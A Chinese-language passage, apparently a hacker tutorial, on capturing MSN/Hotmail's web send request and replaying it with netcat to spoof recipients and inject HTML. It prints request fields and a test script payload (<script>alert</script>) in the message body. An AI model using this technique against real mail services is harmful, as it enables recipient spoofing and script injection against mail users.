用DOM解析来分析代码,会容易些。首先看最外层,一对<font>标签。作者并不怎么用MSN来发信,所以不了解MSN邮箱的编辑模式,不了解怎样编辑邮件内容才能出现这对标签。不过最外面的标签既然可以这么写,说明MSN至少允许一部分HTML代码执行。测试给自己邮箱发信,发现MSN提供的邮箱不能直接发HTML,只能用自带编辑器给新建内容加样式。看来如果一定要发html,就要抓包了。
邮件发送和接收协议分别是SMTP和POP,但是MSN却让我们从网站上发送邮件,把邮件提交给一个网页文件,这说明MSN在接收到我们给该网页所提交的信息后,在后台处理了那些过程。一个MSN发信的包里,有如下几个重要内容:
POST /mail/SendMessageLight.aspx?_ec=1&n=578891127 HTTP/1.1
把信件内容提交给这个文件,之后发送过程由该文件在MSN服务器上执行。
Host: by111w.bay111.mail.live.com
主机地址,这个要记下来, NC提交的时候用。
Content-Length: 1858
发送包的长度,如果修改了包内容,也要相应修改包长度。
COOKIE就不说了,一定要有的,证明你的身份,因为是HTTP协议,所以一旦登录过后退出了,之前抓到的cookie就无效了。
Content-Disposition: form-data; name="fTo"
notconn@hotmail.com
-----------------------------7d830d6a0738
notconn@hotmail.com
-----------------------------7d830d6a0738
看到“fTo”了吧?顾名思义,这里需要填写信件发送到哪里。这里也要进行欺骗时一定要修改的地方之一。
Content-Disposition: form-data; name="fMessageBody"
<STRONG>ddddd</STRONG><div id="test" name="test" title="test">test</div><script>alert('s');</script>
-----------------------------7d830d6a0738
<STRONG>ddddd</STRONG><div id="test" name="test" title="test">test</div><script>alert('s');</script>
-----------------------------7d830d6a0738